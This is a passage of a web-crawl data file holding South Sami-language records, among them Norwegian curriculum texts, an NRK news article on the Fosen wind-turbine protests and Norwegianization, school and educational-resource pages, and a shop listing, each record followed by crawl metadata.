löönemasse\/maajelöönemasse.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/sametinget.no\/saemiedigkien-garjagaetie\/mijjen-garjagaetie\/","date":"2023-03-28T19:17:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296948868.90\/warc\/CC-MAIN-20230328170730-20230328200730-00543.warc.gz","language":"sma","language_score":1.0000071526,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000007152557373}","num_words":172,"character_repetition_ratio":0.07,"word_repetition_ratio":0.0,"special_characters_ratio":0.142,"stopwords_ratio":0.151,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Duedtie (KHV02‑02)\nDåaresthfaageles teemah\nAlmetjehealsoe jïh jieledehaalveme\nFaagesne duedtie dïhte dåaresthfaageles teema almetjehealsoe jïh jieledehaalveme learohkh edtjieh maahtoem evtiedidh åssjaldahkeprosessh sjugniedidh, praktihkeles dåeriesmoerh loetedh jïh vissjelesvoetem evtiedidh gosse aarkebiejjien haestemh dåastoeh. Learohkh praktihkeles tjiehpiesvoeth jïh maahtoem lierieh gyhtjelassh gihtjedh, lierieh haestemh aarkebiejjien dåastodh jïh nuepieh vuejnedh ovnohkens tsiehkine. Barkoe tjeahpojne jïh ïebnigujmie jïh immaterijelle kultuvrine viehkehte learohki jïjtjeguvviem jïh ideniteeteevtiedimmiem nænnoestidh, ektie referaansemierieh vadta jïh mïelem jieliedisnie sjugnede. Learohkh dïrregh åadtjoeh mïelh, åssjalommesh jïh domtesh goerehtidh, jïh maam joem buektedh ovmessie formaatine jïh areenine.\nDemokratije jïh meatanårrojevoete\nFaagesne duedtie dåaresthfaageles teema demokratije jïh meatanårrojevoete edtja learoehkidie haestedh laejhtehkslaakan tjeahpoen, hammoedimmien jïh immaterijelle kultuvren bijjelen ussjedadtedh jïh jïjtsh dååjresh, åssjaldahkh jïh mïelh buektedh. Faage edtja duedtiedaajroeh aarebi boelvijste jåerhkedh ektietïjjen perspektijvesne. Gaavnedimmiej tjïrrh tjeahpojne jïh kultuvrine, jïh barkojne kreatijve jïh visuelle buektemevuekiejgujmie learohkh maehtieh lïeredh jïjtsh seabradahkem toelhkestidh, meatan årrodh jïh jarkelidh.\nMonnehke evtiedimmie\nFaagesne duedtie dåaresthfaageles teema monnehke evtiedimmie learohkh edtjieh sjugneden barkoen tjïrrh maehtedh bueriedimmieh vuejnedh dorjesinie, jïh vielie monnehke jieledevuekieh goerehtidh båetijen aajkan. Learohkh edtjieh monnehke aerpievuekien daajroem praktiseeredh, gusnie ïebnh eatnamistie veedtjieh jïh jïjtsh produksjovnesne nuhtjieh. Learohki dååjrehtimmie dåvvoeminie, åtnojne jïh orresistie åtnojne ïebnijste våaromem vadta orresjugniedæmman. Barkosne teknologijine, ïebnigujmie jïh dorjeseevtiedimmine learohkh maehtieh sijjen voerkesvoetem lissiehtidh guktie eatneme almetjh baajnehte, jïh guktie almetji jieledevuekieh eatnemem jïh klijmam baajnehte.","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/www.udir.no\/lk20\/khv02-02\/om-faget\/tverrfaglige-temaer?lang=sma","date":"2023-03-24T09:31:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296945279.63\/warc\/CC-MAIN-20230324082226-20230324112226-00375.warc.gz","language":"sma","language_score":1.0000078678,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000078678131104}","num_words":212,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.117,"stopwords_ratio":0.127,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Your cartDet finns inte fler produkter i din varukorg\nFrozen 2 -Jïengene II\n2002261025609Slut i Lager\n195,00 kr\nInkl. moms\nAkte gïele Elsese gohtje! Annine, Kristoffine, Svenine jïh Olafine ektine noerhtese vualka, mearhkan tjïrrh jïh dan rovneligs ovnohkens sïjse. Dïhte orre voelph råaka gosse vaastoem dan båeries tjeakoesvoetese ohtsede gånkarïjhkesne Arendelle, jïh aalkoem altese åavtoes tjiehpiesvoetide ... vaastoe mij daelie gånkarïjhkem håvhtede!","id":"","dump":"CC-MAIN-2023-14","url":"https:\/\/shop.ajtte.com\/barn-och-tonar-\/903-frozen-2-sydsamiska-9788242966636.html","date":"2023-03-29T19:25:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-14\/segments\/1679296949025.18\/warc\/CC-MAIN-20230329182643-20230329212643-00543.warc.gz","language":"sma","language_score":0.9990107417,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9990107417106628}","num_words":59,"character_repetition_ratio":0.018,"word_repetition_ratio":0.0,"special_characters_ratio":0.204,"stopwords_ratio":0.068,"flagged_words_ratio":0.0,"lang_id_score":0.999,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bæjhkoje\nNasjonalt senter for samisk i opplæringa\nBertije\nDaltese\nFormaate\nGaskeviermiesæjroe\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nViehkiebaakoe\nSkuvleastoeöörnegasse mieriesoejkesje dorjesovveme jïh dïhte saemiengïelide aaj jarkoestovveme.\nSAÁO rámmaplána, noerhtesaemien\nSAÖÖ mieriesoejkesje, åarjelsaemien\nUdir aaj gellie dåarjoevierhtieh tjöönghkeme SAÖÖ:n mieriesoejkesjen åvteste; dovne filmh, maahtoepaahkh, artihkelh jïh nuhtegs svaalhtesh jeatjah aaj gaskeviermiesæjrojde mah gååvnesieh daesnie.\nOvttas|Aktan|Aktesne bruker også analyseverktøy, dette for å forbedre og videreutvikle nettstedet.","id":"","dump":"CC-MAIN-2023-23","url":"https:\/\/ovttas.no\/sma\/digitala-resursa_saoon-mieriesoejkesje","date":"2023-06-06T12:06:58Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-23\/segments\/1685224652569.73\/warc\/CC-MAIN-20230606114156-20230606144156-00666.warc.gz","language":"sma","language_score":0.9997833371,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9997833371162415}","num_words":64,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"– Jeenjesh dagke vienhtieh daaroedehteme saemijste lea mij akt mij aarebi heannadi jïh histovrijasse govlehtuava, men sïjhtem badth jiehtedh dïhte annje heannede.\nSara Emilie Jåma mij dam jeahta. Dïhte akte dejstie båatsoesaemijste Fovsesne.\nGosse akte Europan stööremes bïegkefaamoetseegkeldahkijste laantesne dej båatsoedajvese tseegkesovvi dellie geervebe sjïdti bovtsigujmie gïehtelidh.\nBïegkefaamoetseegkeldahkh leah juhtieminie jalhts Jillemesreakta lea dåapmojne aamhtesisnie båateme. Dovne Storheia jïh Roan bïegkefaamoevierhkieh leah tseegkesovveme jalhts aalkoeåålmegereaktaj vööste strijrie.\nDaah dah, mejtie satne veanhta lea guhkiedimmie daaroedehtiemistie.\nMïrhke kapihtele nöörjen histovrijisnie\nDaaroedehteme, mij Sara Emilien mïelen mietie annje sjugniehtåvva, «byögkeles» sjugniehtovvi aktene boelhkesne mij 100 jaepieh ryöhki.\n1850-låhkoen raejeste 1960-låhkoen raajan Nöörje aktem daaroedehtemepolitihkem tjïrrehti saemiej jïh nasjonaale unnebelåhkoej vööste.\nSaemieh unnebevyörtegs «naeline» vuajnalgi, jïh vuajnalgi goh mij akt positijve jis kultuvrem jïh gïelem nåhkehti, jïh raaktan saemide daarojne darjoeji.\n«Daaroedehteme» daajbaaletje tïjjen\nSara Emilie Jåma aaj soptseste altese baernie lea ussjedadteme guktie bïegketurbijnh raaktan dejtie baajnehtieh.\nMænngan Sara meatan orreme aksjovnine Oslosne njoktjen, baernebe onterdi mannasinie dïhte desnie orreme.\n– Mov lea uktsien jaepien båeries baernie. Manne pryövim tjïelkestidh daate lea daej bïegkejårrehtsi bïjre, dah leah luhpehts tseegkesovveme, jïh ij leah dïhte reakta. Ij edtjh numhtie årrodh, jeahta.\nMearan Sara voejhkele tjïelkestidh mannasinie bïjline feeri, juelkietjengkeresaavremasse, baernie jeahta:\n– Dellie baernie sov sijjeste bïjlesne jeahta «daate amma daaroedehteme, dïhte». Manne ussjedem gosse uktsien jaepien båeries maana buektehte dam guarkedh, dellie geerve almetjh lin aaj byöreme dam guarkedh, jeahta.\nDovres tïjjem dasseme\nDïhte NRK:se jeahta vielie tïjje lea gæmhpose bïegketurbijne vööste Fovsesne åtnasovveme, goh leah vaajtelamme.\n– Åejvieladtjh pryövoeh båatsoem bïegkefaamoetseegkeldahkigujmie nåhkehtidh. Mov faatoes daajroe aerpievuekien båatsoen bïjre ij leah aehtjeben skåltoe, ij leah aehtjeben fiejlie mov ij leah daejtie daajrojde, sïjhtem jiehtedh daate lea staaten skåltoe jïh guktie dah leah altese tïjjem nuhtjeme, jeahta.\nSara Emilie soptseste satne rïektesisnie bööremes duekesne tråjjede, men Fovsen-aamhtese lea naakede mestie buelije ïedtjem åtna jïh dan åvteste damta vihkele sov histovrijem soptsestidh.\n– Gosse limh dåarjoekonsertesne Rïjhkescenesne mijjieh Fovsen-njaarken sïjteste bööresovvimh scenese båetedh. Damtim manne idtjim rikti desnie sjïehth. Juktie domtesem damtim im leah vyörtegs daesnie tjåadtjodh. Im leah maam akt våajnoes dorjeme daennie gæmhposne, jeahta.\nGosse Fovsen-aksjovnh Oslosne juhtin, åadtjoeji dåarjoem dååjredh maam idtji daejrieh gååvnesi.\n– Lij joekoen hijven vuejnedh. Dovne saemieh jïh jienebh mah eah leah saemieh, sijjen dåarjoem mijjen gæmhpose vuesiehtin. Lij joekoen stoerre ierielimmie dam stoerre tsåatskelesvoetem aamhtesen bïjre vuejnedh, jïh aksjovnisth edtjieh stoerre gyjhtelassem dan åvteste utnedh.\nReektehtse\nSaetniesvoete- jïh liktemekommisjovne edtja reektehtsem luejhtedh ruffien 1.b., mejnie lea barkeme vïjhte jaepieh.\nDesnie edtjieh konsekvenside daaroedehtiemistie gïetedidh mejtie Sara Emilie neebnie.\nNRK forklarer\nMij Saetniesvoete- jïh liktemekommisjovne?\nDaaroedehtemepolitihkem kråånske\nSaetniesvoete- jïh liktemekommisjovne lea staateles kommisjovne mij konsekvensh daaroedehtemepolitihkeste jïh ovreaktam saemiej, kveenaj, daaroensoemeladtji jïh skåajjesoemeladtji vööste kråånske.\nRuffien 1.b. kommisjovne edtja sov reektehtsem deelledh Stoerredægkan. Reektehtse edtja gaskem jeatjah effektide daaroedehtemepolitihkeste gïetedidh daan biejjien.\nKommisjovne lea tseegkemen mænngan 2018 persovneles soptsesh sïjse tjöönghkeme dejstie mah annje jielieminie daaroedehtemeboelhken mænngan jïh dej maadtoeladtjh.\nDah vaajestimmieh edtjieh våaromem bïejedh raeriestimmide råajvarimmide mah maehtieh tsiehkiem bueriedidh saemiej, kveenaj jïh skåajjesoemeladtji jïh jienebelåhkoen årroji gaskem.\nKommisjovne lea tjeakoes orreme sisvegen bïjre reektehtsisnie, men lïhtsege kommisjovnesne, Liv Inger Somby, NRK:se jeahta dah leah ryöktesth reerenassine aamhtesen bïjre gaskesadteme.\nKommisjovne ij sïjhth maam jeatjah jiehtedh mij reektehtsen sisvege sjædta, jallh guktie leah Fovsen-aamhtesinie barkeme.\nKommisjovnen åvtehke Dagfinn Høybråten jeehti satne jollemesreaktadåapmoste tjoeperdi mij jeahta bïegketurbijnh Fovsesne leah luhpehts tseegkesovveme, aktene prievesne reerenassese dæjman.\nSara Emilie Jåma vihteste likteme geerve sjædta sutnjien, dan guhkiem Fovsen-aamhtese ij leah loetesovveme.\n– Maahtah nöörjen staatese leajhtadidh dan guhkiem bïegketurbijnh åadtjoeh tjåadtjodh.\n– Ijje, Jåma spaajhte jeahta.\n– Daennie gæmhposne tjåådtje abpe jieledem jis daerpies\nElle Nystad lea Nöörjen Saemiej Rïjhkesiebrien noeresiebrien åvtehke. Dïhte lij aaj akte dejstie voestes luhkiegolme aksjovnistijstie mah aksjovnem bïegkefaamoen vööste Fovsesne eelkin goevten.\n– Maahtam jïjtjemem damtijidh naakedinie destie maam Sara Emilie jeahta. Goh maahta damtedh ij nuekie maehtieh, jïh stoerre raejkiem vaajmosne åtna jïh daajroem dan saemien bïjre fååtese sov bïjre daaroedehtemen gaavhtan, Nystad jeahta.\nNystad jeahta satne Jåmese soptsestidh dïhte ij leah oktegh dam naemhtie damtedh.\nTuhtjie håjnan jis naakenh håjnoesvoetem demtieh båetijen aejkien bïjre, men sæjhta maam akt sjollehke jiehtedh.\n– Mijjieh noere saemieh eah gåessie gih sïjhth gåajparostedh. Manne daennie gæmhposne tjåadtjoem abpe jieledem jis daerpies, Nystad jeahta.\nNystad soptseste satne gegkeste saetniesvoete- jïh liktemekommisjovnen reektehtse maahta dovne almetjh Nöörjesne jïh reerenassem gåaskodh.\n– Gegkestem dïhte stuerebe goerkesem mijjen histovrijen åvteste sjugnede, jïh mannasinie dagkerh skilkehtassh dajvine maehtieh dan löövles årrodh guedtedh mijjese, jeahta.\nIj sïemes\nStaatetjaelije Elisabeth Sæther Ålja- jïh energijedepartemeentesne ij leah sïemes lahtesinie mij jeahta Fovsen-turbijnh daajbaaletje daaroedehtemem vuesiehtieh.\n–Ij sjïehth gænnah. Voestes biejjien raejeste Jollemesreaktan sjæjsjalimmien mænngan Fovsen-aamhtesisnie reerenasse lea barkeme dåapmoem fulkesidh jïh båatsoesaemiej reaktah Fovsesne gorredidh, NRK:se jeahta.\n–Reerenassese lea vihkele mijjieh åvtese båetebe aamhtesisnie. Mijjieh vihkeles sïllh guhkiebasse båateme, jeahta.\nStaatetjaelije soptseste dah göökte gïejine berkieh daelie juktie aamhtesem bïegketurbijni bïjre loetedh.\nOrre aksjovnh jïh lohkeme reektehtsistie\nHïeljen, mænngan reektehtse luajhtasåvva, Oslon gaatoeh sijhtieh vihth dievedh almetjijstie gaptajgujmie, Nystad soptseste.\nLaavadahken ruffien 3.b. lea gidtjh 600 biejjieh mænngan Jillemesreakta dööpmi bïegketurbijnh Fovsesne leah tseegkesovveme bielelen luhpies luhpiedimmiem, jïh dellie demonstraanth edtjieh vihth gaatojne mïnnedh.\n500 biejjieh dåapmoen mænngan dïhte eelki mij edtji akte mijjen stööremes saemien demonstrasjovnijste sjïdtedh.\nVoestegh 13 aksjovnisth Ålja- jïh energijedepartemeentese tjihkedin.\nDah olkese guadtasovvin, jïh jienebh vïenhtin dïhte lij dïhte.\nMen dellie jienebh böötin.\nEevre goske staateministere dejtie meatoeji jïh gaatelassji.\nStaateministere Jonas Gahr Støre aaj dåajvoehti ij edtjh vihth 500 biejjieh vaesedh goske aamhtese loetesovveme.\nDaelie aajmene vuejnedh maam 600-biejjiendemonstrasjovne jïh saetniesvoete- jïh liktemekommisjovnen reektehtse sæjhta jiehtedh aamhtesasse.","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/www.nrk.no\/sapmi\/stoerre-veanhtadimmieh-saetniesvoete--jih-liktemekommisjovnen-reektehtsasse-1.16425425","date":"2023-09-29T19:37:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510528.86\/warc\/CC-MAIN-20230929190403-20230929220403-00532.warc.gz","language":"sma","language_score":1.0000039339,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000039339065552}","num_words":880,"character_repetition_ratio":0.057,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.105,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Laavenjassh teekstese «Saemiej laavlome» maam Isak Saba lea tjaaleme.\nLohkh teekstem «Saemiej laavlome» maam Isak Saba lea tjaaleme. Vaestedh gyhtjelasside.\nGie lij tjaelije jïh gubpede bööti?\nGåessie dam laavlomem tjeeli, jïh man åvteste dam tjeeli, datne vïenhth?\nMan bïjre laavlome-teekste? Buerkesth åenehkslaakan.\nGuktie laavlome-teekste saemien kultuvrem jïh histovrijem vuesehte?\nGuktie laavlome-teekste saemien identiteetem vuesehte? Buerkesth.\nMan åvteste daate laavlome Saemiej laavlome? Ohtsedh bïevnesh gaske-viermesne.\nDov mïelen mietie vihkeles saemien nasjonaale symbovlh utnedh goh saemien saevege jïh Saemiej laavlome? Man åvteste, man åvteste ij?\nDov mïelen mietie buerebe jis saemieh sjïere saemiej vueliem åtneme? Man åvteste, man åvteste ij?","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/ndla.no\/nb\/subject:1:11c4696f-e844-4c98-8df7-49d43f59ec33\/topic:2:8bfb17e8-b081-476d-8e00-49f219ef5de3\/topic:2:6b2d1ccd-f72c-4f6a-bd36-ced187523dba\/resource:219ff955-4d89-4b55-bcbc-48ba237b8faa","date":"2023-09-22T09:21:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233506339.10\/warc\/CC-MAIN-20230922070214-20230922100214-00638.warc.gz","language":"sma","language_score":0.9999042749,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999042749404907}","num_words":98,"character_repetition_ratio":0.108,"word_repetition_ratio":0.0,"special_characters_ratio":0.164,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Maadthlïerehtimmien eejhtegemoenehtse - MLEMMaadthlïerehtimmien eejhtegemoenehtse (daaroen FUG) lea nasjonaale jïh jïjtjeraarehke årgaane mij raerieh jïh bïhkedimmiem vadta eejhtegidie laavenjostoen bïjre hïejmen jïh skuvlen gaskem. FUG:en moenehtsisnie tjïjhtje lïhtsegh mah joekehts bielijste laanteste båetieh jïh maanah skuvlesne utnieh. Lïhtsegi våarome lea eadtjohke eejhtegetjirkijh skuvlesne. Saemiedigkie saemien tjirkijem FUG:se nammohte. Lïhtsegh boelhkese 2020-2023: Marius Chramer (leder), Tomasjord Marie Skinstad-Jansen (nestleder), Moss Sara Marja Magga, Guovdageaidnu Violet Weli, Oslo Renate Toft, Steinsland Stig Oprann, Porsgrunn Audun Fiskum, Harran Sæjjasadtjh: Lars Nordgård, Titran Linda Sandåker, Misvær FUG tseegkesovvi 1976 jïh reaktavåaromem åtna lïerehtimmielaakesne § 11-9. 2009 raejeste FUG vijriedamme mandaatem åadtjoeji jïh aaj feerhmie voestes jaepiem jåarhkelïerehtimmesne. Seamma biejjien raejeste nomme jorkesi Maadthskuvlen eejhtegemoenehtsistie. FUG ektie tjaelemesijjiem åtna Maanagïerti Eejhtegemoenehtsinie. Lohkh vielie FUG:en bïjre jïh gaskesadth Maadthlïerehtimmien Eejhtegemoenehtsem. Laavenjostoelatjkoe Saemiedigkine Saemiedigkie laavenjostoelatjkoem vuelietjeeli Maanagïerti eejhtegemoenehtsinie (daaroen FUB) jïh Maadthlïerehtimmiem eejhtegemoenehtsinie (daaroen FUG) ruffien 9.b. 2022. Daesnie såemies dejtie mierijste laavenjostoelatjkosne: Gaajhkh maanah jïh noerh edtjieh jearsoe jïh hijven skuvlebyjresem utnedh Gaajhkh maanah jïh noerh edtjieh domtedh sijjieh vuajnalgieh jïh åadtjoeh årrodh gïeh leah Maanaj jïh noeri reaktah saemien gïelelïerehtæmman jïh lïerehtæmman saemien gïelesne FUG jïh Saemiedigkie edtjieh våajnoes aktöörine jïh dåarjoehtæjjine sjïdtedh saemien skuvlesuerkien sisnjelen Lohkh laavenjostoelatjkoem Maadthlïerehtimmien eejhtegemoenehtsen (daaroen FUG) jïh Saemiedigkien gaskem boelhken 2022-2024 (PDF, 70 kB)","id":"","dump":"CC-MAIN-2023-40","url":"https:\/\/sametinget.no\/lierehtimmie\/skuvlebyjrese-jih-skuvleevtiedimmie\/maadthlierehtimmien-eejhtegemoenehtse-mlem\/","date":"2023-10-01T11:38:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-40\/segments\/1695233510888.64\/warc\/CC-MAIN-20231001105617-20231001135617-00548.warc.gz","language":"sma","language_score":0.9999957085,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999957084655762}","num_words":196,"character_repetition_ratio":0.11,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.143,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jaabnan vuarjasjimmie edtja viehkiehtidh lïeremem eevtjedh jïh maahtoem faagesne evtiedidh. Learohkh maahtoem vuesiehtieh jïh evtiedieh KRJE-faagesne 8., 9. jïh 10. daltesisnie gosse religijovnh jïh jieledevuajnoeh goerehtieh jïh guarkoeh, jïh eksistensijelle jïh etihkeles gyhtjelassi bijjeli ussjededtieh Learohkh aaj maahtoem vuesiehtieh jïh evtiedieh gosse daajroeh nuhtjieh religijovni, jieledevuajnoej jïh etihken bïjre åehpies jïh ovnohkens ektiedimmine. Dah aaj maahtoem vuesiehtieh jïh evtiedieh gosse gaaltijh laejhtehkslaakan nuhtjieh, ovmessie mïelh tjïelkestieh jïh gyhtjelassi bijjeli ussjededtieh mej bïjre stoerre ovsïemesvoete. Minngemes aaj maahtoem vuesiehtieh jïh evtiedieh gosse faageles baakoetjïerth nuhtjieh jïh digkiedieh.\nLohkehtæjja edtja sjïehteladtedh guktie learohkh leah meatan jïh lïeremelastose skreejrehtidh viehkine njaalmeldh, tjaaleldh jïh digitaale barokevuekijste KRJE-faagine. Lohkehtæjja jïh learohkh edtjieh learohki evtiedimmien bïjre KRJE-faagesne soptsestalledh. Learohkh edtjieh nuepiem åadtjodh pryövedh. Dan maahtoem mietie maam learohkh vuesiehtieh, edtjieh nuepiem åadtjodh baakoeh bïejedh dïsse maam dååjroeh sijjieh buektiehtieh, jïh jïjtsh faageles evtiedimmien bijjeli ussjedadtedh. Lohkehtæjja edtja dan guhkiebasse lïeremen bïjre bïhkedidh jïh lïerehtimmiem sjïehteladtedh guktie learohkh maehtieh bïhkedassem nuhtjedh sov daajroem evtiedidh kristelesvoeten, jeatjah religijovni, jieledevuajnoej, etihken jïh filosofijen bïjre.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/www.udir.no\/lk20\/rle02-03\/kompetansemaal-og-vurdering\/kv175?lang=sma","date":"2023-12-11T07:06:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679103558.93\/warc\/CC-MAIN-20231211045204-20231211075204-00755.warc.gz","language":"sma","language_score":1.0000087023,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000087022781372}","num_words":162,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.13,"stopwords_ratio":0.179,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Bertije\nVaadtasovvemejaepie\n1997\nISBN\nVi173\nTïjje\n01:34:47\nFormaate\nDVD\nReakta-aajhtere\nReaktah\nGaajhkh reaktah leah doelehtovveme\nDemands Norwaco\nJaavoe\nViehkiebaakoe\nDaan DVDese leah filmide Birján jïh Mirján bïjre tjöönghkesovveme.\nBirjá jïh Mirjá lægan göökte lustes nyjsenæjja. Dah guaktah radtjoes jïh hæhtadihks, men mij akt iktegisth båata dej guaktaj geajnoen uvte jïh dle tjoerijægan maam joem darjodh.\nDaate lea dramaraajroe lahtesi namhtah. Læjhkan maahta gïeleööhpehtimmesne nuhtjedh. V.g. Learohkh maehtieh jïjtjh lahtesh darjodh jïh Birján jïh Mirján åvteste soptsestieh gosse filmem vuartasjieh.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/ovttas.no\/sma\/filbma_birja-ja-mirja?overridden_route_name=entity.node.canonical&base_route_name=entity.node.canonical&page_manager_page=node_view&page_manager_page_variant=nodes&page_manager_page_variant_weight=-10","date":"2023-12-05T09:40:03Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100550.40\/warc\/CC-MAIN-20231205073336-20231205103336-00535.warc.gz","language":"sma","language_score":0.9999679327,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999679327011108}","num_words":77,"character_repetition_ratio":0.035,"word_repetition_ratio":0.0,"special_characters_ratio":0.169,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemieskuvlh lohkehtimmiem aarhskuvleste dan 6. jaepiekuvsjese faalehtieh learoesoejkesjen mietie learoesoejkesje saemieskuvlese, aarhskuvlese jïh eejehtshïejmese. Mijjen leah skuvlh sijjine: Dearna, Jåhkåmåhkke, Váhtjer, Giron jïh Gárasavvon.\nSaemieskuvleståvroen lea vijrebe stilleme gusnie edtja saemien kultuvrem gaskoestidh juktie learohki saemien gïele åvtene. Mijjen learohkh saemien luhkieh njieljieh tæjmoeh våhkosne, dej leah saemien aamhtesebiejjieh jïh ålkonepedagogihke.\nAarhskuvleklaassem tjuara lohkedh. Aarhskuvleste skuvlese. Aarhskuvleklaasse maadthskuvlen lohkemejaepieboelhki jïh eejehtallemi mietie jåhta.\nSaemieskuvleståvroe lïeremesijjiem Infomentor provhkoe.","id":"","dump":"CC-MAIN-2023-50","url":"https:\/\/sameskolstyrelsen.se\/sy\/oohpehtimmie\/saemieskuvle-jih-aarhskuvleklaasse\/","date":"2023-12-05T06:12:34Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2023-50\/segments\/1700679100545.7\/warc\/CC-MAIN-20231205041842-20231205071842-00451.warc.gz","language":"sma","language_score":0.9999125004,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 0.9999125003814697}","num_words":66,"character_repetition_ratio":0.082,"word_repetition_ratio":0.0,"special_characters_ratio":0.12,"stopwords_ratio":0.167,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"- Ulmie\n- Faagen åejvieboelhkh\n- Man gellie tæjmoeh\n- Faagen maadth maahtoeh\n-\nMaahtaldahkeulmieh\n- Maahtoeulmieh 2. jaepiedaltesen mænngan\n- Maahtoeulmieh 4. jaepiedaltesen mænngan\n- Maahtoeulmieh 7. jaepiedaltesen mænngan\n- Maahtoeulmieh 10. jaepiedaltesen mænngan\n- Maahtoeulmieh 1T mænngan– Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P mænngan – Jåa1 studijeryöjreden ööhpehtimmieprogrammh\n- Maahtoeulmieh 1T-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Maahtoeulmieh 1P-B mænngan– Jåa1 barkoefaageles ööhpehtimmieprogrammh\n- Faagem vierhtiedidh\nMaahtoeulmieh 10. jaepiedaltesen mænngan\nTaalh jïh algebraMål for opplæringen er at eleven skal kunne\n- viertiestidh jïh ryöknedh gaskem ellies taalh, desimaaletaalh, bröökh, prosenth, promille jïh taalh standardehammosne, dagkerh taalh jeereldihkie jiehtedh, jïh vuarjasjidh mennie tsiehkine ovmessie vuekieh leah maereles\n- bröökine ryöknedh, bröökh juekedh jïh bröökelahtesh aelhkiehtidh\n- faktovrh, potensh, kvadraateroehtsh jïh primtaalh aerviedimmine nuhtjedh\n- evtiedidh, nuhtjedh jïh buerkiestidh ovmessie vuekieh åejjieryöknemisnie, aarvehtseryöknemisnie jïh tjaaleldh ryöknemisnie dej njieljie ryöknemesåarhtigujmie\n- algebra-lahtesh gïetedidh, faktovriseradidh jïh aelhkiehtidh, lahtesidie praktihkeles tsiehkide viedtedh, formeligujmie, parentesigujmie jïh bröökelahtesigujmie ryöknedh jïh kvadraateraajesidie nuhtjedh\n- ligningh jïh joekehtsvoeth voestes graadeste loetedh jïh ligningesysteemh göökte ammesigujmie, jïh dam nuhtjedh juktie praktihkeles jïh teoretihkeles dåeriesmoerh loetedh\n- aerviedimmieh darjodh åtnoen, laajkoekåarhteåtnoen, baalhkan, löönemen jïh spååredimmien bïjre, budsjedtem jïh reeknehlåhkoem bæjjese bïejedh viehkine ryöknemeaarhkeste, jïh aerviedimmieh buerkiestidh jïh illedahkide åehpiedehtedh\n- tjåanghkan bïejeme dåeriesmoerh analyjseradidh, tjåadtjoen jïh jeereldihkie stoeredahkh damtijidh, gellielaaketje dåeriesmoerh åehpies loetemevuekide ektiedidh, aerviedimmieh darjodh jïh illedahkide maereleslaakan åehpiedehtedh\n- taalh jïh variabelh nuhtjedh goerehtimmesne, eksperimeenteradimmesne jïh praktihkeles jïh teoretihkeles dåeriesmoereloetemisnie, jïh prosjektine teknologijine jïh designine\nGeometrijeMål for opplæringen er at eleven skal kunne\n- jïjtsevoeth goerehtidh jïh buerkiestidh guektien- jïh golmendimensjovnaale figuvrine, jïh jïjtsevoetide konstruksjovnine jïh aerviedimmine nuhtjedh\n- darjodh, buerkiestidh jïh tjïelkestidh geometrihkeles konstruksjovnh paasserinie jïh sïevestahkine, jïh dynamihkeles geometrjiprogrammine\n- nuhtjedh jïh tjïelkestidh åtnoem hammoehedteste jïh Pytagoresen raajesistie, gosse edtja ovnohkens stoeredahkh aerviedidh\n- barkoeguvvieh jïh perspektijveguvvieh jienebh dåssjanimmie-mearhketjigujmie toelhkestidh jïh darjodh, digitaale 